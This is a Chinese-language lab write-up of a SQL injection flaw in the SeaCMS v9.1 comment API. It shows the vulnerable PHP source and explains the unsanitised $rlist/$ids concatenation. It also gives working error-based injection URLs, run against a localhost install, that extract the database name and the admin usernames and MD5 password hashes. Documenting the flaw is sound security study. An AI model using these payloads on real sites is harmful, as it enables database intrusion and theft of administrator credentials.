1、seacms的介紹
? seacms中文名:海洋影視管理系統。是一個采用了php5+mysql架構的影視網站框架,因此,如果該框架有漏洞,那使用了該框架的各個網站都會有相同問題。
2、源碼的分析
漏洞的部分源碼如下:
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//緩存第一頁的評論
if($page<2)
{if(file_exists($jsoncachefile)){$json=LoadFile($jsoncachefile);die($json);}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{createTextFile($h,$jsoncachefile);
}
die($h); function ReadData($id,$page)
{global $type,$pCount,$ $ret = array("","",$page,0,10,$type,$id);if($id>0){$ret[0] = Readmlist($id,$page,$ret[4]);$ret[3] = $pCount;$x = implode(',',$rlist);if(!empty($x)){$ret[1] = Readrlist($x,1,10000);}} $readData = FormatJson($ret);return $readData;
}function Readmlist($id,$page,$size)
{global $dsql,$type,$pCount,$rlist;$ml=array();if($id>0){$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";$rs = $dsql ->GetOne($sqlCount);$pCount = ceil($rs['dd']/$size);$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";$dsql->setQuery($sql);$dsql->Execute('commentmlist');while($row=$dsql->GetArray('commentmlist')){$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}}$readmlist=join($ml,",");return $readmlist;
}function Readrlist($ids,$page,$size)
{global $dsql,$type;$rl=array();$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";$dsql->setQuery($sql);$dsql->Execute('commentrlist');while($row=$dsql->GetArray('commentrlist')){$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}$readrlist=join($rl,",");return $readrlist;
}function ReadReplyID($gid,$cmid,&$rlist)
{global $dsql;if($cmid>0){if(!in_array($cmid,$rlist))$rlist[]=$cmid;$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");if(is_array($row)){$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);}else{$ReplyID = "";}}else{$ReplyID = "";}return $ReplyID;
}function FormatJson($json)
{$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";for($i=6;$i>=0;$i--){$x=str_replace("%".$i."%",$json[$i],$x);}$formatJson = jsonescape($x);return $formatJson;
}function jsonescape($txt)
{$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));return $jsonescape;
}
3、注入點:
- $rlist 的初始化位置太靠后,在
ReadData()
和Readmlist()
兩個函數都使用完后才進行初始化,那就導致了該變量可以被污染成一個惡意的sql查詢語句等
-
在這句sql語句中,居然直接將變量
$ids
拼接在sql查詢中,只需將該變量賦值為惡意語句,即可獲取數據庫信息,像這樣SELECT ... WHERE m_type=1 AND id in (1,2,3,'1 OR 1=1')
4、開始測試:
1、確認是否能注入:
127.0.0.1/cmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x20,0x5c,database())),@`%27`
extraactvalue函數:
假設有一個 XML 字符串
<root><child>value</child></root>
,用以下方式可得出返回value
SELECT EXTRACTVALUE('<root><child>value</child></root>', '/root/child');
concat_ws函數:
將 第一個字段 的值插在后面 每個字段 的中間
SELECT CONCAT_WS(‘-’, ‘2023’, ‘10’, ‘05’); – 輸出: ‘2023-10-05’
果然爆出數據庫名
2、嘗試爆出管理員用戶名
http://127.0.0.1/seacmsv9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`
?
沒有報錯回顯?
上網查發現似乎是數據庫中沒有數據導致的
3、使用wireshark抓mysql的包發現如下數據包
上mysql查詢該表信息
發現該表為空表
遂添加數據
3、再次測試
獲取用戶名和密碼
密碼似乎是md5加密
不過如果密碼難度比較高的話,應該不能破解
**
**